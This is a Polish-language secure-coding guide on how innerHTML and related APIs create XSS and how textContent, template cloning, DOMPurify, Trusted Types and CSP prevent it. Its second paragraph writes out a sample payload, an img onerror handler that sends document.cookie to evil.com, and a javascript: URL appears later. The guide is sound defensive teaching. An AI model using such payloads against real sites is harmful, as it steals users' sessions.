Szablony a bezpieczeństwo innerHTML

Ustawienie el.innerHTML = userInput powoduje zinterpretowanie ciągu jako HTML. Jeśli userInput zawiera <script> lub procedury obsługi zdarzeń, takie jak onerror, przeglądarka je wykona, tworząc podatność na Cross-Site Scripting (XSS).

Atakujący przesyła nazwę użytkownika: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Jeśli zostanie ona wyrenderowana za pomocą innerHTML, procedura onerror zostanie uruchomiona i wyśle cookie sesji na zewnątrz. Zawartość tekstowa staje się wykonywalnym kodem.

el.textContent = userInput traktuje ciąg jako zwykły tekst — bez analizowania HTML i bez wykonywania skryptów. Przeglądarka automatycznie koduje znaki < i > w węzłach tekstowych. Zawsze używaj textContent dla wartości dostarczanych przez użytkownika.

Podczas używania template.cloneNode(true) struktura pochodzi ze wstępnie przeanalizowanego szablonu HTML, a nie z ciągu dostarczonego przez użytkownika. Ustawianie wartości za pomocą textContent w sklonowanych węzłach sprawia, że dane użytkownika pozostają w węzłach tekstowych i nigdy nie trafiają do analizowanego kodu HTML. Struktura i dane są rozdzielone.

Jeśli wymagane jest formatowanie HTML dostarczane przez użytkowników (tekst sformatowany), przed ustawieniem innerHTML należy przeprowadzić odkażanie. DOMPurify to standardowa biblioteka: el.innerHTML = DOMPurify.sanitize(richHtml). Usuwa niebezpieczne znaczniki i atrybuty, zachowując bezpieczne formatowanie.

insertAdjacentHTML("beforeend", html) również analizuje ciągi HTML — wiąże się z takim samym ryzykiem XSS jak innerHTML. Stosuj te same zasady odkażania. Bezpieczniejsza alternatywa to tworzenie elementów za pomocą createElement, ustawianie ich textContent i używanie appendChild.

Ustawianie atrybutów z użyciem danych użytkownika może prowadzić do wstrzyknięcia: el.setAttribute("href", userUrl), gdzie userUrl ma wartość javascript:alert(1), powoduje utworzenie podatności XSS. Przed ustawieniem atrybutów href lub src sprawdzaj schematy URL — zezwalaj wyłącznie na http:, https: i mailto:.

DOM clobbering to atak, w którym nazwane elementy formularza (id="getElementById") przesłaniają globalne zmienne JavaScript. Zawsze uzyskuj dostęp do elementów za pomocą document.getElementById(), zamiast korzystać z globalnych właściwości obiektu window. Content Security Policy również ogranicza skuteczność ataków DOM clobbering.

Trusted Types (w przeglądarce Chrome, wymuszane przez CSP) wymagają, aby wszystkie miejsca używające innerHTML, insertAdjacentHTML i podobnych mechanizmów otrzymywały ciągi opakowane przez politykę. Nie można przypisywać surowych ciągów — dozwolone są wyłącznie wartości utworzone przez zadeklarowaną politykę TrustedTypes. Zapobiega to przypadkowemu pominięciu odkażania.

Tworzenie elementów za pomocą API DOM (createElement, createTextNode) i manipulowanie nimi w obiekcie DocumentFragment jest z natury bezpieczne względem XSS — tekst zawsze pozostaje tekstem i nigdy nie jest analizowany jako HTML. DocumentFragment to najbezpieczniejszy sposób tworzenia złożonych, dynamicznych interfejsów.

Ścisła CSP (bez unsafe-inline, ze skryptami opartymi na nonce) stanowi dodatkową warstwę ochrony przed XSS. Nawet jeśli atakujący wstrzyknie HTML, CSP uniemożliwi wykonanie wstrzykniętych skryptów. CSP nie eliminuje potrzeby odkażania — jest siatką bezpieczeństwa, a nie podstawową ochroną.

innerHTML i powiązane API analizują ciągi HTML, tworząc podatności XSS, gdy dane użytkownika są interpolowane bez odkażania. Używanie textContent, klonowanie szablonów z uzupełnianiem za pomocą textContent, DOMPurify dla tekstu sformatowanego oraz Content Security Policy tworzy wielowarstwową ochronę przed atakami polegającymi na wstrzykiwaniu HTML.